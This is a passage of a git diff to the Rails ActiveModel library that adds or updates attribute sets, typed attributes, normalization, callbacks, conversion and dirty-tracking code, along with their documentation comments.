+    def write_cast_value(name, value)
+      @attributes[name] = self[name].with_cast_value(value)
+    end
+
+    def freeze
+      attributes.freeze
+      super
+    end
+
+    def deep_dup
+      AttributeSet.new(attributes.transform_values(&:dup_or_share))
+    end
+
+    def initialize_dup(_)
+      @attributes = @attributes.dup
+      super
+    end
+
+    def initialize_clone(_)
+      @attributes = @attributes.clone
+      super
+    end
+
+    def reset(key)
+      if key?(key)
+        write_from_database(key, nil)
+      end
+    end
+
+    def accessed
+      attributes.each_key.select { |name| self[name].has_been_read? }
+    end
+
+    def map(&block)
+      new_attributes = attributes.transform_values(&block)
+      AttributeSet.new(new_attributes)
+    end
+
+    def reverse_merge!(target_attributes)
+      attributes.reverse_merge!(target_attributes.attributes) && self
+    end
+
+    def ==(other)
+      other.is_a?(AttributeSet) && attributes == other.send(:attributes)
+    end
+
+    protected
+      attr_reader :attributes
+
+    private
+      def default_attribute(name)
+        Attribute.null(name)
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_set/builder.rb b/activemodel/lib/active_model/attribute_set/builder.rb
new file mode 100644
index 0000000000000..36628005f2947
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_set/builder.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+require "active_model/attribute"
+
+module ActiveModel
+  class AttributeSet # :nodoc:
+    class Builder # :nodoc:
+      attr_reader :types, :default_attributes
+
+      def initialize(types, default_attributes = {})
+        @types = types
+        @default_attributes = default_attributes
+      end
+
+      def build_from_database(values = {}, additional_types = {})
+        LazyAttributeSet.new(values, types, additional_types, default_attributes)
+      end
+    end
+  end
+
+  class LazyAttributeSet < AttributeSet # :nodoc:
+    def initialize(values, types, additional_types, default_attributes, attributes = {})
+      super(attributes)
+      @values = values
+      @types = types
+      @additional_types = additional_types
+      @default_attributes = default_attributes
+      @casted_values = {}
+      @materialized = false
+    end
+
+    def key?(name)
+      (values.key?(name) || types.key?(name) || @attributes.key?(name)) && self[name].initialized?
+    end
+
+    def keys
+      keys = values.keys | types.keys | @attributes.keys
+      keys.keep_if { |name| self[name].initialized? }
+    end
+
+    def fetch_value(name, &block)
+      if attr = @attributes[name]
+        return attr.value(&block)
+      end
+
+      @casted_values.fetch(name) do
+        value_present = true
+        value = values.fetch(name) { value_present = false }
+
+        if value_present
+          type = additional_types.fetch(name, types[name])
+          @casted_values[name] = type.deserialize(value)
+        else
+          attr = default_attribute(name, value_present, value)
+          attr.value(&block)
+        end
+      end
+    end
+
+    protected
+      def attributes
+        unless @materialized
+          values.each_key { |key| self[key] }
+          types.each_key { |key| self[key] }
+          @materialized = true
+        end
+        @attributes
+      end
+
+    private
+      attr_reader :values, :types, :additional_types, :default_attributes
+
+      def default_attribute(
+        name,
+        value_present = true,
+        value = values.fetch(name) { value_present = false }
+      )
+        type = additional_types.fetch(name, types[name])
+
+        if value_present
+          @attributes[name] = Attribute.from_database(name, value, type, @casted_values[name])
+        elsif types.key?(name)
+          if attr = default_attributes[name]
+            @attributes[name] = attr.dup
+          else
+            @attributes[name] = Attribute.uninitialized(name, type)
+          end
+        else
+          Attribute.null(name)
+        end
+      end
+  end
+
+  class LazyAttributeHash # :nodoc:
+    delegate :transform_values, :each_value, :fetch, :except, to: :materialize
+
+    def initialize(types, values, additional_types, default_attributes, delegate_hash = {})
+      @types = types
+      @values = values
+      @additional_types = additional_types
+      @materialized = false
+      @delegate_hash = delegate_hash
+      @default_attributes = default_attributes
+    end
+
+    def key?(key)
+      delegate_hash.key?(key) || values.key?(key) || types.key?(key)
+    end
+
+    def [](key)
+      delegate_hash[key] || assign_default_value(key)
+    end
+
+    def []=(key, value)
+      delegate_hash[key] = value
+    end
+
+    def deep_dup
+      dup.tap do |copy|
+        copy.instance_variable_set(:@delegate_hash, delegate_hash.transform_values(&:dup))
+      end
+    end
+
+    def initialize_dup(_)
+      @delegate_hash = Hash[delegate_hash]
+      super
+    end
+
+    def each_key(&block)
+      keys = types.keys | values.keys | delegate_hash.keys
+      keys.each(&block)
+    end
+
+    def ==(other)
+      if other.is_a?(LazyAttributeHash)
+        materialize == other.materialize
+      else
+        materialize == other
+      end
+    end
+
+    def marshal_dump
+      [@types, @values, @additional_types, @default_attributes, @delegate_hash]
+    end
+
+    def marshal_load(values)
+      initialize(*values)
+    end
+
+    protected
+      def materialize
+        unless @materialized
+          values.each_key { |key| self[key] }
+          types.each_key { |key| self[key] }
+          unless frozen?
+            @materialized = true
+          end
+        end
+        delegate_hash
+      end
+
+    private
+      attr_reader :types, :values, :additional_types, :delegate_hash, :default_attributes
+
+      def assign_default_value(name)
+        type = additional_types.fetch(name, types[name])
+        value_present = true
+        value = values.fetch(name) { value_present = false }
+
+        if value_present
+          delegate_hash[name] = Attribute.from_database(name, value, type)
+        elsif types.key?(name)
+          attr = default_attributes[name]
+          if attr
+            delegate_hash[name] = attr.dup
+          else
+            delegate_hash[name] = Attribute.uninitialized(name, type)
+          end
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_set/yaml_encoder.rb b/activemodel/lib/active_model/attribute_set/yaml_encoder.rb
similarity index 78%
rename from activerecord/lib/active_record/attribute_set/yaml_encoder.rb
rename to activemodel/lib/active_model/attribute_set/yaml_encoder.rb
index 899de147921e5..ea1efc160eebf 100644
--- a/activerecord/lib/active_record/attribute_set/yaml_encoder.rb
+++ b/activemodel/lib/active_model/attribute_set/yaml_encoder.rb
@@ -1,7 +1,9 @@
-module ActiveRecord
+# frozen_string_literal: true
+
+module ActiveModel
   class AttributeSet
     # Attempts to do more intelligent YAML dumping of an
-    # ActiveRecord::AttributeSet to reduce the size of the resulting string
+    # ActiveModel::AttributeSet to reduce the size of the resulting string
     class YAMLEncoder # :nodoc:
       def initialize(default_types)
         @default_types = default_types
@@ -31,10 +33,7 @@ def decode(coder)
         end
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
+      private
         attr_reader :default_types
     end
   end
diff --git a/activemodel/lib/active_model/attributes.rb b/activemodel/lib/active_model/attributes.rb
new file mode 100644
index 0000000000000..134f1206ea238
--- /dev/null
+++ b/activemodel/lib/active_model/attributes.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # = Active \Model \Attributes
+  #
+  # The Attributes module allows models to define attributes beyond simple Ruby
+  # readers and writers. Similar to Active Record attributes, which are
+  # typically inferred from the database schema, Active Model Attributes are
+  # aware of data types, can have default values, and can handle casting and
+  # serialization.
+  #
+  # To use Attributes, include the module in your model class and define your
+  # attributes using the +attribute+ macro. It accepts a name, a type, a default
+  # value, and any other options supported by the attribute type.
+  #
+  # ==== Examples
+  #
+  #   class Person
+  #     include ActiveModel::Attributes
+  #
+  #     attribute :name, :string
+  #     attribute :active, :boolean, default: true
+  #   end
+  #
+  #   person = Person.new
+  #   person.name = "Volmer"
+  #
+  #   person.name # => "Volmer"
+  #   person.active # => true
+  module Attributes
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeRegistration
+    include ActiveModel::AttributeMethods
+
+    included do
+      attribute_method_suffix "=", parameters: "value"
+    end
+
+    module ClassMethods
+      ##
+      # :call-seq: attribute(name, cast_type = nil, default: nil, **options)
+      #
+      # Defines a model attribute. In addition to the attribute name, a cast
+      # type and default value may be specified, as well as any options
+      # supported by the given cast type.
+      #
+      #   class Person
+      #     include ActiveModel::Attributes
+      #
+      #     attribute :name, :string
+      #     attribute :active, :boolean, default: true
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = "Volmer"
+      #
+      #   person.name   # => "Volmer"
+      #   person.active # => true
+      def attribute(name, ...)
+        super
+        define_attribute_method(name)
+      end
+
+      # Returns an array of attribute names as strings.
+      #
+      #   class Person
+      #     include ActiveModel::Attributes
+      #
+      #     attribute :name, :string
+      #     attribute :age, :integer
+      #   end
+      #
+      #   Person.attribute_names # => ["name", "age"]
+      def attribute_names
+        attribute_types.keys
+      end
+
+      ##
+      # :method: type_for_attribute
+      # :call-seq: type_for_attribute(attribute_name, &block)
+      #
+      # Returns the type of the specified attribute after applying any
+      # modifiers. This method is the only valid source of information for
+      # anything related to the types of a model's attributes. The return value
+      # of this method will implement the interface described by
+      # ActiveModel::Type::Value (though the object itself may not subclass it).
+      #--
+      # Implemented by ActiveModel::AttributeRegistration::ClassMethods#type_for_attribute.
+
+      ##
+      private
+        def define_method_attribute=(canonical_name, owner:, as: canonical_name)
+          ActiveModel::AttributeMethods::AttrNames.define_attribute_accessor_method(
+            owner, canonical_name, writer: true,
+          ) do |temp_method_name, attr_name_expr|
+            owner.define_cached_method(temp_method_name, as: "#{as}=", namespace: :active_model) do |batch|
+              batch <<
+                "def #{temp_method_name}(value)" <<
+                "  _write_attribute(#{attr_name_expr}, value)" <<
+                "end"
+            end
+          end
+        end
+    end
+
+    def initialize(*) # :nodoc:
+      @attributes = self.class._default_attributes.deep_dup
+      super
+    end
+
+    def initialize_dup(other) # :nodoc:
+      @attributes = @attributes.deep_dup
+      super
+    end
+
+    # Returns a hash of all the attributes with their names as keys and the
+    # values of the attributes as values.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :name, :string
+    #     attribute :age, :integer
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = "Francesco"
+    #   person.age = 22
+    #
+    #   person.attributes # => { "name" => "Francesco", "age" => 22}
+    def attributes
+      @attributes.to_hash
+    end
+
+    # Returns an array of attribute names as strings.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :name, :string
+    #     attribute :age, :integer
+    #   end
+    #
+    #   person = Person.new
+    #   person.attribute_names # => ["name", "age"]
+    def attribute_names
+      @attributes.keys
+    end
+
+    def freeze # :nodoc:
+      @attributes = @attributes.clone.freeze unless frozen?
+      super
+    end
+
+    private
+      def _write_attribute(attr_name, value)
+        @attributes.write_from_user(attr_name, value)
+      end
+      alias :attribute= :_write_attribute
+
+      def attribute(attr_name)
+        @attributes.fetch_value(attr_name)
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/attributes/normalization.rb b/activemodel/lib/active_model/attributes/normalization.rb
new file mode 100644
index 0000000000000..3bf13426a0914
--- /dev/null
+++ b/activemodel/lib/active_model/attributes/normalization.rb
@@ -0,0 +1,192 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Attributes
+    module Normalization
+      extend ActiveSupport::Concern
+
+      included do
+        include ActiveModel::Dirty
+        include ActiveModel::Validations::Callbacks
+
+        class_attribute :normalized_attributes, default: Set.new
+
+        before_validation :normalize_changed_in_place_attributes
+      end
+
+      # Normalizes a specified attribute using its declared normalizations.
+      #
+      # ==== Examples
+      #
+      #   class User
+      #     include ActiveModel::Attributes
+      #     include ActiveModel::Attributes::Normalization
+      #
+      #     attribute :email, :string
+      #
+      #     normalizes :email, with: -> email { email.strip.downcase }
+      #   end
+      #
+      #   legacy_user = User.load_from_legacy_data(...)
+      #   legacy_user.email # => " CRUISE-CONTROL@EXAMPLE.COM\n"
+      #   legacy_user.normalize_attribute(:email)
+      #   legacy_user.email # => "cruise-control@example.com"
+      #
+      # ==== Behavior with Active Record
+      #
+      # To prevent confusion, normalization will not be applied
+      # when the attribute is fetched from the database. This means that if a
+      # record was persisted before the normalization was declared, the record's
+      # attribute will not be normalized until either it is assigned a new
+      # value, or it is explicitly migrated via Normalization#normalize_attribute.
+      #
+      # Be aware that if your app was created before Rails 7.1, and your app
+      # marshals instances of the targeted model (for example, when caching),
+      # then you should set ActiveRecord.marshalling_format_version to +7.1+ or
+      # higher via either <tt>config.load_defaults 7.1</tt> or
+      # <tt>config.active_record.marshalling_format_version = 7.1</tt>.
+      # Otherwise, +Marshal+ may attempt to serialize the normalization +Proc+
+      # and raise +TypeError+.
+      #
+      #   class User < ActiveRecord::Base
+      #     normalizes :email, with: -> email { email.strip.downcase }
+      #     normalizes :phone, with: -> phone { phone.delete("^0-9").delete_prefix("1") }
+      #   end
+      #
+      #   user = User.create(email: " CRUISE-CONTROL@EXAMPLE.COM\n")
+      #   user.email                  # => "cruise-control@example.com"
+      #
+      #   user = User.find_by(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")
+      #   user.email                  # => "cruise-control@example.com"
+      #   user.email_before_type_cast # => "cruise-control@example.com"
+      #
+      #   User.where(email: "\tCRUISE-CONTROL@EXAMPLE.COM ").count         # => 1
+      #   User.where(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]).count # => 0
+      #
+      #   User.exists?(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")         # => true
+      #   User.exists?(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]) # => false
+      #
+      #   User.normalize_value_for(:phone, "+1 (555) 867-5309") # => "5558675309"
+      def normalize_attribute(name)
+        # Treat the value as a new, unnormalized value.
+        send(:"#{name}=", send(name))
+      end
+
+      module ClassMethods
+        # Declares a normalization for one or more attributes. The normalization
+        # is applied when the attribute is assigned or validated.
+        #
+        # Because the normalization may be applied multiple times, it should be
+        # _idempotent_. In other words, applying the normalization more than once
+        # should have the same result as applying it only once.
+        #
+        # By default, the normalization will not be applied to +nil+ values. This
+        # behavior can be changed with the +:apply_to_nil+ option.
+        #
+        # ==== Options
+        #
+        # * +:with+ - Any callable object that accepts the attribute's value as
+        #   its sole argument, and returns it normalized.
+        # * +:apply_to_nil+ - Whether to apply the normalization to +nil+ values.
+        #   Defaults to +false+.
+        #
+        # ==== Examples
+        #
+        #   class User
+        #     include ActiveModel::Attributes
+        #     include ActiveModel::Attributes::Normalization
+        #
+        #     attribute :email, :string
+        #     attribute :phone, :string
+        #
+        #     normalizes :email, with: -> email { email.strip.downcase }
+        #     normalizes :phone, with: -> phone { phone.delete("^0-9").delete_prefix("1") }
+        #   end
+        #
+        #   user = User.new
+        #   user.email =    " CRUISE-CONTROL@EXAMPLE.COM\n"
+        #   user.email # => "cruise-control@example.com"
+        #
+        #   User.normalize_value_for(:phone, "+1 (555) 867-5309") # => "5558675309"
+        def normalizes(*names, with:, apply_to_nil: false)
+          decorate_attributes(names) do |name, cast_type|
+            NormalizedValueType.new(cast_type: cast_type, normalizer: with, normalize_nil: apply_to_nil)
+          end
+
+          self.normalized_attributes += names.map(&:to_sym)
+        end
+
+        # Normalizes a given +value+ using normalizations declared for +name+.
+        #
+        # ==== Examples
+        #
+        #   class User
+        #     include ActiveModel::Attributes
+        #     include ActiveModel::Attributes::Normalization
+        #
+        #     attribute :email, :string
+        #
+        #     normalizes :email, with: -> email { email.strip.downcase }
+        #   end
+        #
+        #   User.normalize_value_for(:email, " CRUISE-CONTROL@EXAMPLE.COM\n")
+        #   # => "cruise-control@example.com"
+        def normalize_value_for(name, value)
+          type_for_attribute(name).cast(value)
+        end
+      end
+
+      private
+        def normalize_changed_in_place_attributes
+          self.class.normalized_attributes.each do |name|
+            normalize_attribute(name) if attribute_changed_in_place?(name)
+          end
+        end
+
+        class NormalizedValueType < ActiveSupport::Delegation::DelegateClass(ActiveModel::Type::Value) # :nodoc:
+          include ActiveModel::Type::SerializeCastValue
+
+          attr_reader :cast_type, :normalizer, :normalize_nil
+          alias :normalize_nil? :normalize_nil
+
+          def initialize(cast_type:, normalizer:, normalize_nil:)
+            @cast_type = cast_type
+            @normalizer = normalizer
+            @normalize_nil = normalize_nil
+            super(cast_type)
+          end
+
+          def cast(value)
+            normalize(super(value))
+          end
+
+          def serialize(value)
+            serialize_cast_value(cast(value))
+          end
+
+          def serialize_cast_value(value)
+            ActiveModel::Type::SerializeCastValue.serialize(cast_type, value)
+          end
+
+          def ==(other)
+            self.class == other.class &&
+              normalize_nil? == other.normalize_nil? &&
+              normalizer == other.normalizer &&
+              cast_type == other.cast_type
+          end
+          alias eql? ==
+
+          def hash
+            [self.class, cast_type, normalizer, normalize_nil?].hash
+          end
+
+          define_method(:inspect, Kernel.instance_method(:inspect))
+
+          private
+            def normalize(value)
+              normalizer.call(value) unless value.nil? && !normalize_nil?
+            end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index eac2761433280..3c0d4a543b6f9 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -1,14 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/hash/keys"
 
 module ActiveModel
-  # == Active \Model \Callbacks
+  # = Active \Model \Callbacks
   #
   # Provides an interface for any class to have Active Record like callbacks.
   #
   # Like the Active Record methods, the callback chain is aborted as soon as
   # one of the methods throws +:abort+.
   #
-  # First, extend ActiveModel::Callbacks from the class you are creating:
+  # First, extend +ActiveModel::Callbacks+ from the class you are creating:
   #
   #   class MyModel
   #     extend ActiveModel::Callbacks
@@ -29,7 +32,7 @@ module ActiveModel
   #     end
   #   end
   #
-  # Then in your class, you can use the +before_create+, +after_create+ and
+  # Then in your class, you can use the +before_create+, +after_create+, and
   # +around_create+ methods, just as you would in an Active Record model.
   #
   #   before_create :action_before_create
@@ -56,29 +59,32 @@ module ActiveModel
   #
   # Would only create the +after_create+ and +before_create+ callback methods in
   # your class.
+  #
+  # NOTE: Defining the same callback multiple times will overwrite previous callback definitions.
+  #
   module Callbacks
-    def self.extended(base) #:nodoc:
+    def self.extended(base) # :nodoc:
       base.class_eval do
         include ActiveSupport::Callbacks
       end
     end
 
-    # define_model_callbacks accepts the same options +define_callbacks+ does,
+    # +define_model_callbacks+ accepts the same options +define_callbacks+ does,
     # in case you want to overwrite a default. Besides that, it also accepts an
     # <tt>:only</tt> option, where you can choose if you want all types (before,
     # around or after) or just some.
     #
-    #   define_model_callbacks :initializer, only: :after
+    #   define_model_callbacks :initialize, only: :after
     #
     # Note, the <tt>only: <type></tt> hash will apply to all callbacks defined
-    # on that method call. To get around this you can call the define_model_callbacks
+    # on that method call. To get around this you can call the +define_model_callbacks+
     # method as many times as you need.
     #
     #   define_model_callbacks :create,  only: :after
     #   define_model_callbacks :update,  only: :before
     #   define_model_callbacks :destroy, only: :around
     #
-    # Would create +after_create+, +before_update+ and +around_destroy+ methods
+    # Would create +after_create+, +before_update+, and +around_destroy+ methods
     # only.
     #
     # You can pass in a class to before_<type>, after_<type> and around_<type>,
@@ -98,8 +104,8 @@ def self.extended(base) #:nodoc:
     #     end
     #   end
     #
-    # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
-    # `!`, `?` or `=`.
+    # NOTE: +method_name+ passed to +define_model_callbacks+ must not end with
+    # <tt>!</tt>, <tt>?</tt> or <tt>=</tt>.
     def define_model_callbacks(*callbacks)
       options = callbacks.extract_options!
       options = {
@@ -120,28 +126,29 @@ def define_model_callbacks(*callbacks)
     end
 
     private
-
       def _define_before_model_callback(klass, callback)
-        klass.define_singleton_method("before_#{callback}") do |*args, &block|
-          set_callback(:"#{callback}", :before, *args, &block)
+        klass.define_singleton_method("before_#{callback}") do |*args, **options, &block|
+          options.assert_valid_keys(:if, :unless, :prepend)
+          set_callback(:"#{callback}", :before, *args, options, &block)
         end
       end
 
       def _define_around_model_callback(klass, callback)
-        klass.define_singleton_method("around_#{callback}") do |*args, &block|
-          set_callback(:"#{callback}", :around, *args, &block)
+        klass.define_singleton_method("around_#{callback}") do |*args, **options, &block|
+          options.assert_valid_keys(:if, :unless, :prepend)
+          set_callback(:"#{callback}", :around, *args, options, &block)
         end
       end
 
       def _define_after_model_callback(klass, callback)
-        klass.define_singleton_method("after_#{callback}") do |*args, &block|
-          options = args.extract_options!
+        klass.define_singleton_method("after_#{callback}") do |*args, **options, &block|
+          options.assert_valid_keys(:if, :unless, :prepend)
           options[:prepend] = true
           conditional = ActiveSupport::Callbacks::Conditionals::Value.new { |v|
             v != false
           }
-          options[:if] = Array(options[:if]) << conditional
-          set_callback(:"#{callback}", :after, *(args << options), &block)
+          options[:if] = Array(options[:if]) + [conditional]
+          set_callback(:"#{callback}", :after, *args, options, &block)
         end
       end
   end
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 12687c70d3145..771126f811b71 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveModel
-  # == Active \Model \Conversion
+  # = Active \Model \Conversion
   #
-  # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
+  # Handles default conversions: #to_model, #to_key, #to_param, and #to_partial_path.
   #
   # Let's take for example this non-persisted object.
   #
@@ -22,6 +24,14 @@ module ActiveModel
   module Conversion
     extend ActiveSupport::Concern
 
+    included do
+      ##
+      # :singleton-method:
+      #
+      # Accepts a string that will be used as a delimiter of object's key values in the `to_param` method.
+      class_attribute :param_delimiter, instance_reader: false, default: "-"
+    end
+
     # If your object is already designed to implement all of the \Active \Model
     # you can use the default <tt>:to_model</tt> implementation, which simply
     # returns +self+.
@@ -56,7 +66,7 @@ def to_model
     #   person.to_key # => [1]
     def to_key
       key = respond_to?(:id) && id
-      key ? [key] : nil
+      key ? Array(key) : nil
     end
 
     # Returns a +string+ representing the object's key suitable for use in URLs,
@@ -78,7 +88,7 @@ def to_key
     #   person = Person.new(1)
     #   person.to_param # => "1"
     def to_param
-      (persisted? && key = to_key) ? key.join("-") : nil
+      (persisted? && (key = to_key) && key.all?) ? key.join(self.class.param_delimiter) : nil
     end
 
     # Returns a +string+ identifying the path associated with the object.
@@ -94,14 +104,16 @@ def to_partial_path
       self.class._to_partial_path
     end
 
-    module ClassMethods #:nodoc:
+    module ClassMethods # :nodoc:
       # Provide a class level cache for #to_partial_path. This is an
       # internal method and should not be accessed directly.
-      def _to_partial_path #:nodoc:
-        @_to_partial_path ||= begin
+      def _to_partial_path # :nodoc:
+        @_to_partial_path ||= if respond_to?(:model_name)
+          "#{model_name.collection}/#{model_name.element}"
+        else
           element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(name))
           collection = ActiveSupport::Inflector.tableize(name)
-          "#{collection}/#{element}".freeze
+          "#{collection}/#{element}"
         end
       end
     end
diff --git a/activemodel/lib/active_model/deprecator.rb b/activemodel/lib/active_model/deprecator.rb
new file mode 100644
index 0000000000000..5c6cf3539be0b
--- /dev/null
+++ b/activemodel/lib/active_model/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index 6e0af99ad7cce..682c145a42e00 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -1,8 +1,9 @@
-require "active_support/hash_with_indifferent_access"
-require "active_support/core_ext/object/duplicable"
+# frozen_string_literal: true
+
+require "active_model/attribute_mutation_tracker"
 
 module ActiveModel
-  # == Active \Model \Dirty
+  # = Active \Model \Dirty
   #
   # Provides a way to track changes in your object in the same way as
   # Active Record does.
@@ -12,8 +13,7 @@ module ActiveModel
   # * <tt>include ActiveModel::Dirty</tt> in your object.
   # * Call <tt>define_attribute_methods</tt> passing each method you want to
   #   track.
-  # * Call <tt>[attr_name]_will_change!</tt> before each change to the tracked
-  #   attribute.
+  # * Call <tt>*_will_change!</tt> before each change to the tracked attribute.
   # * Call <tt>changes_applied</tt> after the changes are persisted.
   # * Call <tt>clear_changes_information</tt> when you want to reset the changes
   #   information.
@@ -82,7 +82,9 @@ module ActiveModel
   #
   #   person.previous_changes         # => {"name" => [nil, "Bill"]}
   #   person.name_previously_changed? # => true
+  #   person.name_previously_changed?(from: nil, to: "Bill") # => true
   #   person.name_previous_change     # => [nil, "Bill"]
+  #   person.name_previously_was      # => nil
   #   person.reload!
   #   person.previous_changes         # => {}
   #
@@ -106,35 +108,183 @@ module ActiveModel
   #   person.changes # => {"name" => ["Bill", "Bob"]}
   #
   # If an attribute is modified in-place then make use of
-  # <tt>[attribute_name]_will_change!</tt> to mark that the attribute is changing.
+  # {*_will_change!}[rdoc-ref:#*_will_change!] to mark that the attribute is changing.
   # Otherwise \Active \Model can't track changes to in-place attributes. Note
   # that Active Record can detect in-place modifications automatically. You do
-  # not need to call <tt>[attribute_name]_will_change!</tt> on Active Record models.
+  # not need to call <tt>*_will_change!</tt> on Active Record models.
   #
   #   person.name_will_change!
   #   person.name_change # => ["Bill", "Bill"]
   #   person.name << 'y'
   #   person.name_change # => ["Bill", "Billy"]
+  #
+  # Methods can be invoked as +name_changed?+ or by passing an argument to the
+  # generic method <tt>attribute_changed?("name")</tt>.
   module Dirty
     extend ActiveSupport::Concern
     include ActiveModel::AttributeMethods
 
-    OPTION_NOT_GIVEN = Object.new # :nodoc:
-    private_constant :OPTION_NOT_GIVEN
-
     included do
-      attribute_method_suffix "_changed?", "_change", "_will_change!", "_was"
-      attribute_method_suffix "_previously_changed?", "_previous_change"
-      attribute_method_affix prefix: "restore_", suffix: "!"
+      ##
+      # :method: *_previously_changed?
+      #
+      # :call-seq: *_previously_changed?(**options)
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns true if the attribute previously had unsaved changes.
+      #
+      #   person = Person.new
+      #   person.name = 'Britanny'
+      #   person.save
+      #   person.name_previously_changed? # => true
+      #   person.name_previously_changed?(from: nil, to: 'Britanny') # => true
+
+      ##
+      # :method: *_changed?
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns true if the attribute has unsaved changes.
+      #
+      #   person = Person.new
+      #   person.name = 'Andrew'
+      #   person.name_changed? # => true
+
+      ##
+      # :method: *_change
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns the old and the new value of the attribute.
+      #
+      #   person = Person.new
+      #   person.name = 'Nick'
+      #   person.name_change # => [nil, 'Nick']
+
+      ##
+      # :method: *_will_change!
+      #
+      # This method is generated for each attribute.
+      #
+      # If an attribute is modified in-place then make use of
+      # <tt>*_will_change!</tt> to mark that the attribute is changing.
+      # Otherwise Active Model can’t track changes to in-place attributes. Note
+      # that Active Record can detect in-place modifications automatically. You
+      # do not need to call <tt>*_will_change!</tt> on Active Record
+      # models.
+      #
+      #   person = Person.new('Sandy')
+      #   person.name_will_change!
+      #   person.name_change # => ['Sandy', 'Sandy']
+
+      ##
+      # :method: *_was
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns the old value of the attribute.
+      #
+      #   person = Person.new(name: 'Steph')
+      #   person.name = 'Stephanie'
+      #   person.name_was # => 'Steph'
+
+      ##
+      # :method: *_previous_change
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns the old and the new value of the attribute before the last save.
+      #
+      #   person = Person.new
+      #   person.name = 'Emmanuel'
+      #   person.save
+      #   person.name_previous_change # => [nil, 'Emmanuel']
+
+      ##
+      # :method: *_previously_was
+      #
+      # This method is generated for each attribute.
+      #
+      # Returns the old value of the attribute before the last save.
+      #
+      #   person = Person.new
+      #   person.name = 'Sage'
+      #   person.save
+      #   person.name_previously_was  # => nil
+
+      ##
+      # :method: restore_*!
+      #
+      # This method is generated for each attribute.
+      #
+      # Restores the attribute to the old value.
+      #
+      #   person = Person.new
+      #   person.name = 'Amanda'
+      #   person.restore_name!
+      #   person.name # => nil
+
+      ##
+      # :method: clear_*_change
+      #
+      # This method is generated for each attribute.
+      #
+      # Clears all dirty data of the attribute: current changes and previous changes.
+      #
+      #   person = Person.new(name: 'Chris')
+      #   person.name = 'Jason'
+      #   person.name_change # => ['Chris', 'Jason']
+      #   person.clear_name_change
+      #   person.name_change # => nil
+
+      attribute_method_suffix "_previously_changed?", "_changed?", parameters: "**options"
+      attribute_method_suffix "_change", "_will_change!", "_was", parameters: false
+      attribute_method_suffix "_previous_change", "_previously_was", parameters: false
+      attribute_method_affix prefix: "restore_", suffix: "!", parameters: false
+      attribute_method_affix prefix: "clear_", suffix: "_change", parameters: false
     end
 
-    # Returns +true+ if any of the attributes have unsaved changes, +false+ otherwise.
+    def initialize_dup(other) # :nodoc:
+      super
+      @mutations_from_database = nil
+    end
+
+    def init_attributes(other) # :nodoc:
+      attrs = super
+      if self.class.respond_to?(:_default_attributes)
+        self.class._default_attributes.map do |attr|
+          attr.with_value_from_user(attrs.fetch_value(attr.name))
+        end
+      else
+        attrs
+      end
+    end
+
+    def as_json(options = {}) # :nodoc:
+      except = [*options[:except], "mutations_from_database", "mutations_before_last_save"]
+      options = options.merge except: except
+      super(options)
+    end
+
+    # Clears dirty data and moves +changes+ to +previous_changes+ and
+    # +mutations_from_database+ to +mutations_before_last_save+ respectively.
+    def changes_applied
+      unless defined?(@attributes)
+        mutations_from_database.finalize_changes
+      end
+      @mutations_before_last_save = mutations_from_database
+      forget_attribute_assignments
+      @mutations_from_database = nil
+    end
+
+    # Returns +true+ if any of the attributes has unsaved changes, +false+ otherwise.
     #
     #   person.changed? # => false
     #   person.name = 'bob'
     #   person.changed? # => true
     def changed?
-      changed_attributes.present?
+      mutations_from_database.any_changes?
     end
 
     # Returns an array with the name of the attributes with unsaved changes.
@@ -143,7 +293,55 @@ def changed?
     #   person.name = 'bob'
     #   person.changed # => ["name"]
     def changed
-      changed_attributes.keys
+      mutations_from_database.changed_attribute_names
+    end
+
+    # Dispatch target for {*_changed?}[rdoc-ref:#*_changed?] attribute methods.
+    def attribute_changed?(attr_name, **options)
+      mutations_from_database.changed?(attr_name.to_s, **options)
+    end
+
+    # Dispatch target for {*_was}[rdoc-ref:#*_was] attribute methods.
+    def attribute_was(attr_name)
+      mutations_from_database.original_value(attr_name.to_s)
+    end
+
+    # Dispatch target for {*_previously_changed?}[rdoc-ref:#*_previously_changed?] attribute methods.
+    def attribute_previously_changed?(attr_name, **options)
+      mutations_before_last_save.changed?(attr_name.to_s, **options)
+    end
+
